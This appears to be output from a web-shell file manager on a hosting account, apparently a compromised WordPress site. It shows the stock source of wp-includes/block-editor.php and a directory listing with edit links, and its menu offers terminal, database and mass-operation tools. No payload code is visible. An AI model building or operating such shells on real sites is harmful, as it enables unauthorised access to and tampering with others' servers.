WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-includes / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-includes/block-editor.php (28.05 KB)
<?php
/**
 * Block Editor API.
 *
 * @package WordPress
 * @subpackage Editor
 * @since 5.8.0
 */

/**
 * Returns the list of default categories for block types.
 *
 * @since 5.8.0
 * @since 6.3.0 Reusable Blocks renamed to Patterns.
 *
 * @return array[] Array of categories for block types.
 */
function get_default_block_categories() {
	return array(
		array(
			'slug'  => 'text',
			'title' => _x( 'Text', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'media',
			'title' => _x( 'Media', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'design',
			'title' => _x( 'Design', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'widgets',
			'title' => _x( 'Widgets', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'theme',
			'title' => _x( 'Theme', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'embed',
			'title' => _x( 'Embeds', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'reusable',
			'title' => _x( 'Patterns', 'block category' ),
			'icon'  => null,
		),
	);
}

/**
 * Returns all the categories for block types that will be shown in the block editor.
 *
 * @since 5.0.0
 * @since 5.8.0 It is possible to pass the block editor context as param.
 *
 * @param WP_Post|WP_Block_Editor_Context $post_or_block_editor_context The current post object or
 *                                                                      the block editor context.
 *
 * @return array[] Array of categories for block types.
 */
function get_block_categories( $post_or_block_editor_context ) {
	$block_categories     = get_default_block_categories();
	$block_editor_context = $post_or_block_editor_context instanceof WP_Post ?
		new WP_Block_Editor_Context(
			array(
				'post' => $post_or_block_editor_context,
			)
		) : $post_or_block_editor_context;

	/**
	 * Filters the default array of categories for block types.
	 *
	 * @since 5.8.0
	 *
	 * @param array[]                 $block_categories     Array of categories for block types.
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$block_categories = apply_filters( 'block_categories_all', $block_categories, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$post = $block_editor_context->post;

		/**
		 * Filters the default array of categories for block types.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'block_categories_all'} filter instead.
		 *
		 * @param array[] $block_categories Array of categories for block types.
		 * @param WP_Post $post             Post being loaded.
		 */
		$block_categories = apply_filters_deprecated( 'block_categories', array( $block_categories, $post ), '5.8.0', 'block_categories_all' );
	}

	return $block_categories;
}

/**
 * Gets the list of allowed block types to use in the block editor.
 *
 * @since 5.8.0
 *
 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
 *
 * @return bool|string[] Array of block type slugs, or boolean to enable/disable all.
 */
function get_allowed_block_types( $block_editor_context ) {
	$allowed_block_types = true;

	/**
	 * Filters the allowed block types for all editor types.
	 *
	 * @since 5.8.0
	 *
	 * @param bool|string[]           $allowed_block_types  Array of block type slugs, or boolean to enable/disable all.
	 *                                                      Default true (all registered block types supported).
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$allowed_block_types = apply_filters( 'allowed_block_types_all', $allowed_block_types, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$post = $block_editor_context->post;

		/**
		 * Filters the allowed block types for the editor.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'allowed_block_types_all'} filter instead.
		 *
		 * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all.
		 *                                           Default true (all registered block types supported)
		 * @param WP_Post       $post                The post resource data.
		 */
		$allowed_block_types = apply_filters_deprecated( 'allowed_block_types', array( $allowed_block_types, $post ), '5.8.0', 'allowed_block_types_all' );
	}

	return $allowed_block_types;
}

/**
 * Returns the default block editor settings.
 *
 * @since 5.8.0
 *
 * @return array The default block editor settings.
 */
function get_default_block_editor_settings() {
	// Media settings.

	// wp_max_upload_size() can be expensive, so only call it when relevant for the current user.
	$max_upload_size = 0;
	if ( current_user_can( 'upload_files' ) ) {
		$max_upload_size = wp_max_upload_size();
		if ( ! $max_upload_size ) {
			$max_upload_size = 0;
		}
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$image_size_names = apply_filters(
		'image_size_names_choose',
		array(
			'thumbnail' => __( 'Thumbnail' ),
			'medium'    => __( 'Medium' ),
			'large'     => __( 'Large' ),
			'full'      => __( 'Full Size' ),
		)
	);

	$available_image_sizes = array();
	foreach ( $image_size_names as $image_size_slug => $image_size_name ) {
		$available_image_sizes[] = array(
			'slug' => $image_size_slug,
			'name' => $image_size_name,
		);
	}

	$default_size       = get_option( 'image_default_size', 'large' );
	$image_default_size = in_array( $default_size, array_keys( $image_size_names ), true ) ? $default_size : 'large';

	$image_dimensions = array();
	$all_sizes        = wp_get_registered_image_subsizes();
	foreach ( $available_image_sizes as $size ) {
		$key = $size['slug'];
		if ( isset( $all_sizes[ $key ] ) ) {
			$image_dimensions[ $key ] = $all_sizes[ $key ];
		}
	}

	// These styles are used if the "no theme styles" options is triggered or on
	// themes without their own editor styles.
	$default_editor_styles_file = ABSPATH . WPINC . '/css/dist/block-editor/default-editor-styles.css';

	static $default_editor_styles_file_contents = false;
	if ( ! $default_editor_styles_file_contents && file_exists( $default_editor_styles_file ) ) {
		$default_editor_styles_file_contents = file_get_contents( $default_editor_styles_file );
	}

	$default_editor_styles = array();
	if ( $default_editor_styles_file_contents ) {
		$default_editor_styles = array(
			array( 'css' => $default_editor_styles_file_contents ),
		);
	}

	$editor_settings = array(
		'alignWide'                        => get_theme_support( 'align-wide' ),
		'allowedBlockTypes'                => true,
		'allowedMimeTypes'                 => get_allowed_mime_types(),
		'defaultEditorStyles'              => $default_editor_styles,
		'blockCategories'                  => get_default_block_categories(),
		'isRTL'                            => is_rtl(),
		'imageDefaultSize'                 => $image_default_size,
		'imageDimensions'                  => $image_dimensions,
		'imageEditing'                     => true,
		'imageSizes'                       => $available_image_sizes,
		'maxUploadFileSize'                => $max_upload_size,
		'__experimentalDashboardLink'      => admin_url( '/' ),
		// The following flag is required to enable the new Gallery block format on the mobile apps in 5.9.
		'__unstableGalleryWithImageBlocks' => true,
	);

	$theme_settings = get_classic_theme_supports_block_editor_settings();
	foreach ( $theme_settings as $key => $value ) {
		$editor_settings[ $key ] = $value;
	}

	return $editor_settings;
}

/**
 * Returns the block editor settings needed to use the Legacy Widget block which
 * is not registered by default.
 *
 * @since 5.8.0
 *
 * @return array Settings to be used with get_block_editor_settings().
 */
function get_legacy_widget_block_editor_settings() {
	$editor_settings = array();

	/**
	 * Filters the list of widget-type IDs that should **not** be offered by the
	 * Legacy Widget block.
	 *
	 * Returning an empty array will make all widgets available.
	 *
	 * @since 5.8.0
	 *
	 * @param string[] $widgets An array of excluded widget-type IDs.
	 */
	$editor_settings['widgetTypesToHideFromLegacyWidgetBlock'] = apply_filters(
		'widget_types_to_hide_from_legacy_widget_block',
		array(
			'pages',
			'calendar',
			'archives',
			'media_audio',
			'media_image',
			'media_gallery',
			'media_video',
			'search',
			'text',
			'categories',
			'recent-posts',
			'recent-comments',
			'rss',
			'tag_cloud',
			'custom_html',
			'block',
		)
	);

	return $editor_settings;
}

/**
 * Collect the block editor assets that need to be loaded into the editor's iframe.
 *
 * @since 6.0.0
 * @access private
 *
 * @global WP_Styles  $wp_styles  The WP_Styles current instance.
 * @global WP_Scripts $wp_scripts The WP_Scripts current instance.
 *
 * @return array {
 *     The block editor assets.
 *
 *     @type string|false $styles  String containing the HTML for styles.
 *     @type string|false $scripts String containing the HTML for scripts.
 * }
 */
function _wp_get_iframed_editor_assets() {
	global $wp_styles, $wp_scripts;

	// Keep track of the styles and scripts instance to restore later.
	$current_wp_styles  = $wp_styles;
	$current_wp_scripts = $wp_scripts;

	// Create new instances to collect the assets.
	$wp_styles  = new WP_Styles();
	$wp_scripts = new WP_Scripts();

	/*
	 * Register all currently registered styles and scripts. The actions that
	 * follow enqueue assets, but don't necessarily register them.
	 */
	$wp_styles->registered  = $current_wp_styles->registered;
	$wp_scripts->registered = $current_wp_scripts->registered;

	/*
	 * We generally do not need reset styles for the iframed editor.
	 * However, if it's a classic theme, margins will be added to every block,
	 * which is reset specifically for list items, so classic themes rely on
	 * these reset styles.
	 */
	$wp_styles->done =
		wp_theme_has_theme_json() ? array( 'wp-reset-editor-styles' ) : array();

	wp_enqueue_script( 'wp-polyfill' );
	// Enqueue the `editorStyle` handles for all core block, and dependencies.
	wp_enqueue_style( 'wp-edit-blocks' );

	if ( current_theme_supports( 'wp-block-styles' ) ) {
		wp_enqueue_style( 'wp-block-library-theme' );
	}

	/*
	 * We don't want to load EDITOR scripts in the iframe, only enqueue
	 * front-end assets for the content.
	 */
	add_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' );
	/** This action is documented in wp-includes/script-loader.php */
	do_action( 'enqueue_block_assets' );
	remove_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' );

	$block_registry = WP_Block_Type_Registry::get_instance();

	/*
	 * Additionally, do enqueue `editorStyle` assets for all blocks, which
	 * contains editor-only styling for blocks (editor content).
	 */
	foreach ( $block_registry->get_all_registered() as $block_type ) {
		if ( isset( $block_type->editor_style_handles ) && is_array( $block_type->editor_style_handles ) ) {
			foreach ( $block_type->editor_style_handles as $style_handle ) {
				wp_enqueue_style( $style_handle );
			}
		}
	}

	/**
	 * Remove the deprecated `print_emoji_styles` handler.
	 * It avoids breaking style generation with a deprecation message.
	 */
	$has_emoji_styles = has_action( 'wp_print_styles', 'print_emoji_styles' );
	if ( $has_emoji_styles ) {
		remove_action( 'wp_print_styles', 'print_emoji_styles' );
	}

	ob_start();
	wp_print_styles();
	wp_print_font_faces();
	wp_print_font_faces_from_style_variations();
	$styles = ob_get_clean();

	if ( $has_emoji_styles ) {
		add_action( 'wp_print_styles', 'print_emoji_styles' );
	}

	ob_start();
	wp_print_head_scripts();
	wp_print_footer_scripts();
	$scripts = ob_get_clean();

	// Restore the original instances.
	$wp_styles  = $current_wp_styles;
	$wp_scripts = $current_wp_scripts;

	return array(
		'styles'  => $styles,
		'scripts' => $scripts,
	);
}

/**
 * Finds the first occurrence of a specific block in an array of blocks.
 *
 * @since 6.3.0
 *
 * @param array  $blocks     Array of blocks.
 * @param string $block_name Name of the block to find.
 * @return array Found block, or empty array if none found.
 */
function wp_get_first_block( $blocks, $block_name ) {
	foreach ( $blocks as $block ) {
		if ( $block_name === $block['blockName'] ) {
			return $block;
		}
		if ( ! empty( $block['innerBlocks'] ) ) {
			$found_block = wp_get_first_block( $block['innerBlocks'], $block_name );

			if ( ! empty( $found_block ) ) {
				return $found_block;
			}
		}
	}

	return array();
}

/**
 * Retrieves Post Content block attributes from the current post template.
 *
 * @since 6.3.0
 * @since 6.4.0 Return null if there is no post content block.
 * @access private
 *
 * @global int $post_ID
 *
 * @return array|null Post Content block attributes array or null if Post Content block doesn't exist.
 */
function wp_get_post_content_block_attributes() {
	global $post_ID;

	$is_block_theme = wp_is_block_theme();

	if ( ! $is_block_theme || ! $post_ID ) {
		return null;
	}

	$template_slug = get_page_template_slug( $post_ID );

	if ( ! $template_slug ) {
		$post_slug      = 'singular';
		$page_slug      = 'singular';
		$template_types = get_block_templates();

		foreach ( $template_types as $template_type ) {
			if ( 'page' === $template_type->slug ) {
				$page_slug = 'page';
			}
			if ( 'single' === $template_type->slug ) {
				$post_slug = 'single';
			}
		}

		$what_post_type = get_post_type( $post_ID );
		switch ( $what_post_type ) {
			case 'page':
				$template_slug = $page_slug;
				break;
			default:
				$template_slug = $post_slug;
				break;
		}
	}

	$current_template = get_block_templates( array( 'slug__in' => array( $template_slug ) ) );

	if ( ! empty( $current_template ) ) {
		$template_blocks    = parse_blocks( $current_template[0]->content );
		$post_content_block = wp_get_first_block( $template_blocks, 'core/post-content' );

		if ( isset( $post_content_block['attrs'] ) ) {
			return $post_content_block['attrs'];
		}
	}

	return null;
}

/**
 * Returns the contextualized block editor settings for a selected editor context.
 *
 * @since 5.8.0
 *
 * @param array                   $custom_settings      Custom settings to use with the given editor type.
 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
 *
 * @return array The contextualized block editor settings.
 */
function get_block_editor_settings( array $custom_settings, $block_editor_context ) {
	$editor_settings = array_merge(
		get_default_block_editor_settings(),
		array(
			'allowedBlockTypes' => get_allowed_block_types( $block_editor_context ),
			'blockCategories'   => get_block_categories( $block_editor_context ),
		),
		$custom_settings
	);

	$editor_settings['__experimentalBlockBindingsSupportedAttributes'] = array();
	foreach ( array_keys( WP_Block_Type_Registry::get_instance()->get_all_registered() ) as $block_type ) {
		$supported_block_attributes = get_block_bindings_supported_attributes( $block_type );
		if ( ! empty( $supported_block_attributes ) ) {
			$editor_settings['__experimentalBlockBindingsSupportedAttributes'][ $block_type ] = $supported_block_attributes;
		}
	}

	$global_styles = array();
	$presets       = array(
		array(
			'css'            => 'variables',
			'__unstableType' => 'presets',
			'isGlobalStyles' => true,
		),
		array(
			'css'            => 'presets',
			'__unstableType' => 'presets',
			'isGlobalStyles' => true,
		),
	);
	foreach ( $presets as $preset_style ) {
		$actual_css = wp_get_global_stylesheet( array( $preset_style['css'] ) );
		if ( '' !== $actual_css ) {
			$preset_style['css'] = $actual_css;
			$global_styles[]     = $preset_style;
		}
	}

	$block_classes = array(
		'css'            => 'styles',
		'__unstableType' => 'theme',
		'isGlobalStyles' => true,
	);
	$actual_css    = wp_get_global_stylesheet( array( $block_classes['css'] ) );
	if ( '' !== $actual_css ) {
		$block_classes['css'] = $actual_css;
		$global_styles[]      = $block_classes;
	}

	// Get any additional css from the customizer and add it before global styles custom CSS.
	$global_styles[] = array(
		'css'            => wp_get_custom_css(),
		'__unstableType' => 'user',
		'isGlobalStyles' => false,
	);

	/*
	 * Add the custom CSS as a separate stylesheet so any invalid CSS
	 * entered by users does not break other global styles.
	 */
	$global_styles[] = array(
		'css'            => wp_get_global_stylesheet( array( 'custom-css' ) ),
		'__unstableType' => 'user',
		'isGlobalStyles' => true,
	);

	$editor_settings['styles'] = array_merge( $global_styles, get_block_editor_theme_styles() );

	$editor_settings['__experimentalFeatures'] = wp_get_global_settings();
	// These settings may need to be updated based on data coming from theme.json sources.
	if ( isset( $editor_settings['__experimentalFeatures']['color']['palette'] ) ) {
		$colors_by_origin          = $editor_settings['__experimentalFeatures']['color']['palette'];
		$editor_settings['colors'] = $colors_by_origin['custom'] ?? $colors_by_origin['theme'] ?? $colors_by_origin['default'];
	}
	if ( isset( $editor_settings['__experimentalFeatures']['color']['gradients'] ) ) {
		$gradients_by_origin          = $editor_settings['__experimentalFeatures']['color']['gradients'];
		$editor_settings['gradients'] = $gradients_by_origin['custom'] ?? $gradients_by_origin['theme'] ?? $gradients_by_origin['default'];
	}
	if ( isset( $editor_settings['__experimentalFeatures']['typography']['fontSizes'] ) ) {
		$font_sizes_by_origin         = $editor_settings['__experimentalFeatures']['typography']['fontSizes'];
		$editor_settings['fontSizes'] = $font_sizes_by_origin['custom'] ?? $font_sizes_by_origin['theme'] ?? $font_sizes_by_origin['default'];
	}
	if ( isset( $editor_settings['__experimentalFeatures']['color']['custom'] ) ) {
		$editor_settings['disableCustomColors'] = ! $editor_settings['__experimentalFeatures']['color']['custom'];
		unset( $editor_settings['__experimentalFeatures']['color']['custom'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ) ) {
		$editor_settings['disableCustomGradients'] = ! $editor_settings['__experimentalFeatures']['color']['customGradient'];
		unset( $editor_settings['__experimentalFeatures']['color']['customGradient'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ) ) {
		$editor_settings['disableCustomFontSizes'] = ! $editor_settings['__experimentalFeatures']['typography']['customFontSize'];
		unset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ) ) {
		$editor_settings['enableCustomLineHeight'] = $editor_settings['__experimentalFeatures']['typography']['lineHeight'];
		unset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['units'] ) ) {
		$editor_settings['enableCustomUnits'] = $editor_settings['__experimentalFeatures']['spacing']['units'];
		unset( $editor_settings['__experimentalFeatures']['spacing']['units'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ) ) {
		$editor_settings['enableCustomSpacing'] = $editor_settings['__experimentalFeatures']['spacing']['padding'];
		unset( $editor_settings['__experimentalFeatures']['spacing']['padding'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] ) ) {
		$editor_settings['disableCustomSpacingSizes'] = ! $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'];
		unset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] );
	}

	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['spacingSizes'] ) ) {
		$spacing_sizes_by_origin         = $editor_settings['__experimentalFeatures']['spacing']['spacingSizes'];
		$editor_settings['spacingSizes'] = $spacing_sizes_by_origin['custom'] ?? $spacing_sizes_by_origin['theme'] ?? $spacing_sizes_by_origin['default'];
	}

	$editor_settings['__unstableResolvedAssets']         = _wp_get_iframed_editor_assets();
	$editor_settings['__unstableIsBlockBasedTheme']      = wp_is_block_theme();
	$editor_settings['localAutosaveInterval']            = 15;
	$editor_settings['disableLayoutStyles']              = current_theme_supports( 'disable-layout-styles' );
	$editor_settings['__experimentalDiscussionSettings'] = array(
		'commentOrder'         => get_option( 'comment_order' ),
		'commentsPerPage'      => get_option( 'comments_per_page' ),
		'defaultCommentsPage'  => get_option( 'default_comments_page' ),
		'pageComments'         => get_option( 'page_comments' ),
		'threadComments'       => get_option( 'thread_comments' ),
		'threadCommentsDepth'  => get_option( 'thread_comments_depth' ),
		'defaultCommentStatus' => get_option( 'default_comment_status' ),
		'avatarURL'            => get_avatar_url(
			'',
			array(
				'size'          => 96,
				'force_default' => true,
				'default'       => get_option( 'avatar_default' ),
			)
		),
	);

	$post_content_block_attributes = wp_get_post_content_block_attributes();

	if ( isset( $post_content_block_attributes ) ) {
		$editor_settings['postContentAttributes'] = $post_content_block_attributes;
	}

	$editor_settings['canUpdateBlockBindings'] = current_user_can( 'edit_block_binding', $block_editor_context );

	/**
	 * Filters the settings to pass to the block editor for all editor type.
	 *
	 * @since 5.8.0
	 *
	 * @param array                   $editor_settings      Default editor settings.
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$editor_settings = apply_filters( 'block_editor_settings_all', $editor_settings, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$post = $block_editor_context->post;

		/**
		 * Filters the settings to pass to the block editor.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'block_editor_settings_all'} filter instead.
		 *
		 * @param array   $editor_settings Default editor settings.
		 * @param WP_Post $post            Post being edited.
		 */
		$editor_settings = apply_filters_deprecated( 'block_editor_settings', array( $editor_settings, $post ), '5.8.0', 'block_editor_settings_all' );
	}

	$editor_settings['canEditCSS'] = current_user_can( 'edit_css' );

	return $editor_settings;
}

/**
 * Preloads common data used with the block editor by specifying an array of
 * REST API paths that will be preloaded for a given block editor context.
 *
 * @since 5.8.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
 * @global WP_Styles  $wp_styles  The WP_Styles object for printing styles.
 *
 * @param (string|string[])[]     $preload_paths        List of paths to preload.
 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
 */
function block_editor_rest_api_preload( array $preload_paths, $block_editor_context ) {
	global $post, $wp_scripts, $wp_styles;

	/**
	 * Filters the array of REST API paths that will be used to preloaded common data for the block editor.
	 *
	 * @since 5.8.0
	 *
	 * @param (string|string[])[]     $preload_paths        Array of paths to preload.
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$preload_paths = apply_filters( 'block_editor_rest_api_preload_paths', $preload_paths, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$selected_post = $block_editor_context->post;

		/**
		 * Filters the array of paths that will be preloaded.
		 *
		 * Preload common data by specifying an array of REST API paths that will be preloaded.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'block_editor_rest_api_preload_paths'} filter instead.
		 *
		 * @param (string|string[])[] $preload_paths Array of paths to preload.
		 * @param WP_Post             $selected_post Post being edited.
		 */
		$preload_paths = apply_filters_deprecated( 'block_editor_preload_paths', array( $preload_paths, $selected_post ), '5.8.0', 'block_editor_rest_api_preload_paths' );
	}

	if ( empty( $preload_paths ) ) {
		return;
	}

	/*
	 * Ensure the global $post, $wp_scripts, and $wp_styles remain the same after
	 * API data is preloaded.
	 * Because API preloading can call the_content and other filters, plugins
	 * can unexpectedly modify the global $post or enqueue assets which are not
	 * intended for the block editor.
	 */
	$backup_global_post = ! empty( $post ) ? clone $post : $post;
	$backup_wp_scripts  = ! empty( $wp_scripts ) ? clone $wp_scripts : $wp_scripts;
	$backup_wp_styles   = ! empty( $wp_styles ) ? clone $wp_styles : $wp_styles;

	foreach ( $preload_paths as &$path ) {
		if ( is_string( $path ) && ! str_starts_with( $path, '/' ) ) {
			$path = '/' . $path;
			continue;
		}

		if ( is_array( $path ) && is_string( $path[0] ) && ! str_starts_with( $path[0], '/' ) ) {
			$path[0] = '/' . $path[0];
		}
	}

	unset( $path );

	$preload_data = array_reduce(
		$preload_paths,
		'rest_preload_api_request',
		array()
	);

	// Restore the global $post, $wp_scripts, and $wp_styles as they were before API preloading.
	$post       = $backup_global_post;
	$wp_scripts = $backup_wp_scripts;
	$wp_styles  = $backup_wp_styles;

	wp_add_inline_script(
		'wp-api-fetch',
		sprintf(
			'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );',
			wp_json_encode( $preload_data, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
		),
		'after'
	);
}

/**
 * Creates an array of theme styles to load into the block editor.
 *
 * @since 5.8.0
 *
 * @global array $editor_styles
 *
 * @return array An array of theme styles for the block editor.
 */
function get_block_editor_theme_styles() {
	global $editor_styles;

	$styles = array();

	if ( $editor_styles && current_theme_supports( 'editor-styles' ) ) {
		foreach ( $editor_styles as $style ) {
			if ( preg_match( '~^(https?:)?//~', $style ) ) {
				$response = wp_remote_get( $style );
				if ( ! is_wp_error( $response ) ) {
					$styles[] = array(
						'css'            => wp_remote_retrieve_body( $response ),
						'__unstableType' => 'theme',
						'isGlobalStyles' => false,
					);
				}
			} else {
				$file = get_theme_file_path( $style );
				if ( is_file( $file ) ) {
					$styles[] = array(
						'css'            => file_get_contents( $file ),
						'baseURL'        => get_theme_file_uri( $style ),
						'__unstableType' => 'theme',
						'isGlobalStyles' => false,
					);
				}
			}
		}
	}

	return $styles;
}

/**
 * Returns the classic theme supports settings for block editor.
 *
 * @since 6.2.0
 * @since 6.6.0 Add support for 'editor-spacing-sizes' theme support.
 *
 * @return array The classic theme supports settings.
 */
function get_classic_theme_supports_block_editor_settings() {
	$theme_settings = array(
		'disableCustomColors'    => get_theme_support( 'disable-custom-colors' ),
		'disableCustomFontSizes' => get_theme_support( 'disable-custom-font-sizes' ),
		'disableCustomGradients' => get_theme_support( 'disable-custom-gradients' ),
		'disableLayoutStyles'    => get_theme_support( 'disable-layout-styles' ),
		'enableCustomLineHeight' => get_theme_support( 'custom-line-height' ),
		'enableCustomSpacing'    => get_theme_support( 'custom-spacing' ),
		'enableCustomUnits'      => get_theme_support( 'custom-units' ),
	);

	// Theme settings.
	$color_palette = current( (array) get_theme_support( 'editor-color-palette' ) );
	if ( false !== $color_palette ) {
		$theme_settings['colors'] = $color_palette;
	}

	$font_sizes = current( (array) get_theme_support( 'editor-font-sizes' ) );
	if ( false !== $font_sizes ) {
		$theme_settings['fontSizes'] = $font_sizes;
	}

	$gradient_presets = current( (array) get_theme_support( 'editor-gradient-presets' ) );
	if ( false !== $gradient_presets ) {
		$theme_settings['gradients'] = $gradient_presets;
	}

	$spacing_sizes = current( (array) get_theme_support( 'editor-spacing-sizes' ) );
	if ( false !== $spacing_sizes ) {
		$theme_settings['spacingSizes'] = $spacing_sizes;
	}

	return $theme_settings;
}

/**
 * Initialize site preview.
 *
 * This function sets IFRAME_REQUEST to true if the site preview parameter is set.
 *
 * @since 6.8.0
 */
function wp_initialize_site_preview_hooks() {
	if (
		! defined( 'IFRAME_REQUEST' ) &&
		isset( $_GET['wp_site_preview'] ) &&
		1 === (int) $_GET['wp_site_preview'] &&
		current_user_can( 'edit_theme_options' )
	) {
		define( 'IFRAME_REQUEST', true );
	}
}
namawaktuukuranownerpermaksi
..
ID3/ 2026-02-23 19:411.12 MB 76129f60960:kundendxwrx-rx-r
IXR/ 2026-02-23 19:4133.42 KB 76129f60960:kundendxwrx-rx-r
PHPMailer/ 2026-02-23 19:41269.83 KB 76129f60960:kundendxwrx-rx-r
Requests/ 2026-02-23 19:41210.83 KB 76129f60960:kundendxwrx-rx-r
SimplePie/ 2026-02-23 19:41727.42 KB 76129f60960:kundendxwrx-rx-r
Text/ 2026-02-23 19:4155.01 KB 76129f60960:kundendxwrx-rx-r
abilities-api/ 2026-02-23 19:4158.55 KB 76129f60960:kundendxwrx-rx-r
ai-client/ 2026-05-21 09:1142.41 KB 76129f60960:kundendxwrx-rx-r
assets/ 2026-05-21 09:1134.65 KB 76129f60960:kundendxwrx-rx-r
block-bindings/ 2026-02-23 19:419.36 KB 76129f60960:kundendxwrx-rx-r
block-patterns/ 2026-05-21 09:1119.14 KB 76129f60960:kundendxwrx-rx-r
block-supports/ 2026-08-20 11:46191.98 KB 76129f60960:kundendxwrx-rx-r
blocks/ 2026-08-20 11:461.83 MB 76129f60960:kundendxwrx-rx-r
build/ 2026-05-21 09:112.05 MB 76129f60960:kundendxwrx-rx-r
certificates/ 2026-02-23 19:41195.43 KB 76129f60960:kundendxwrx-rx-r
css/ 2026-05-21 09:114.58 MB 76129f60960:kundendxwrx-rx-r
customize/ 2026-02-23 19:41183.18 KB 76129f60960:kundendxwrx-rx-r
fonts/ 2026-02-23 19:41318.29 KB 76129f60960:kundendxwrx-rx-r
html-api/ 2026-02-23 19:41560.57 KB 76129f60960:kundendxwrx-rx-r
images/ 2026-08-20 11:46212.26 KB 76129f60960:kundendxwrx-rx-r
interactivity-api/ 2026-02-23 19:4172.5 KB 76129f60960:kundendxwrx-rx-r
js/ 2026-08-20 11:4658.49 MB 76129f60960:kundendxwrx-rx-r
l10n/ 2026-02-23 19:4130.43 KB 76129f60960:kundendxwrx-rx-r
php-ai-client/ 2026-05-21 09:11588.11 KB 76129f60960:kundendxwrx-rx-r
php-compat/ 2026-02-23 19:411.22 KB 76129f60960:kundendxwrx-rx-r
pomo/ 2026-02-23 19:4155.7 KB 76129f60960:kundendxwrx-rx-r
rest-api/ 2026-02-23 19:411.11 MB 76129f60960:kundendxwrx-rx-r
sitemaps/ 2026-02-23 19:4147.7 KB 76129f60960:kundendxwrx-rx-r
sodium_compat/ 2026-02-23 19:411.32 MB 76129f60960:kundendxwrx-rx-r
style-engine/ 2026-02-23 19:4152.22 KB 76129f60960:kundendxwrx-rx-r
theme-compat/ 2026-02-23 19:4115.26 KB 76129f60960:kundendxwrx-rx-r
widgets/ 2026-11-26 08:04156.36 KB 76129f60960:kundendxwrx-rx-r
abilities-api.php 2026-08-20 11:4632.03 KB 76129f60960:kunden-xw-x-----
edt
abilities.php 2026-08-20 11:4611.52 KB 76129f60960:kunden-xw-x--x--
edt
admin-bar.php 2026-10-29 00:2839.17 KB 76129f60960:kunden-xw-x--x--
edt
ai-client.php 2026-05-21 09:112.49 KB 76129f60960:kunden-xw-x--x--
edt
atomlib.php 2026-02-23 19:4111.9 KB 76129f60960:kunden-xw-x-----
edt
author-template.php 2026-05-21 09:1119.38 KB 76129f60960:kunden-xw-x--x--
edt
block-bindings.php 2026-08-20 11:467.45 KB 76129f60960:kunden-xw-x-----
edt
block-editor.php 2026-05-21 09:1128.05 KB 76129f60960:kunden-xw-x--x--
edt
block-i18n.json 2026-02-23 19:41316 B 76129f60960:kunden-xw-x-----
edt
block-patterns.php 2026-05-21 09:1115.24 KB 76129f60960:kunden-xw-x--x--
edt
block-template-utils.php 2026-09-18 04:0161.99 KB 76129f60960:kunden-xw-x--x--
edt
block-template.php 2026-08-20 11:4617.83 KB 76129f60960:kunden-xw-x--x--
edt
blocks.php 2026-08-20 11:46121.29 KB 76129f60960:kunden-xw-x--x--
edt
bookmark-template.php 2026-02-23 19:4112.47 KB 76129f60960:kunden-xw-x-----
edt
bookmark.php 2026-02-23 19:4115.07 KB 76129f60960:kunden-xw-x-----
edt
cache-compat.php 2026-05-21 09:1110.76 KB 76129f60960:kunden-xw-x--x--
edt
cache.php 2026-02-23 19:4113.17 KB 76129f60960:kunden-xw-x-----
edt
canonical.php 2026-08-20 11:4633.97 KB 76129f60960:kunden-xw-x-----
edt
capabilities.php 2026-08-20 11:4642.56 KB 76129f60960:kunden-xw-x--x--
edt
category-template.php 2026-08-20 11:4655.65 KB 76129f60960:kunden-xw-x--x--
edt
category.php 2026-05-21 09:1112.53 KB 76129f60960:kunden-xw-x--x--
edt
class-IXR.php 2026-08-20 11:462.55 KB 76129f60960:kunden-xw-x-----
edt
class-avif-info.php 2026-05-21 09:1129.3 KB 76129f60960:kunden-xw-x--x--
edt
class-feed.php 2026-02-23 19:41539 B 76129f60960:kunden-xw-x-----
edt
class-http.php 2026-02-23 19:41367 B 76129f60960:kunden-xw-x-----
edt
class-json.php 2026-02-23 19:4142.65 KB 76129f60960:kunden-xw-x-----
edt
class-oembed.php 2026-02-23 19:41401 B 76129f60960:kunden-xw-x-----
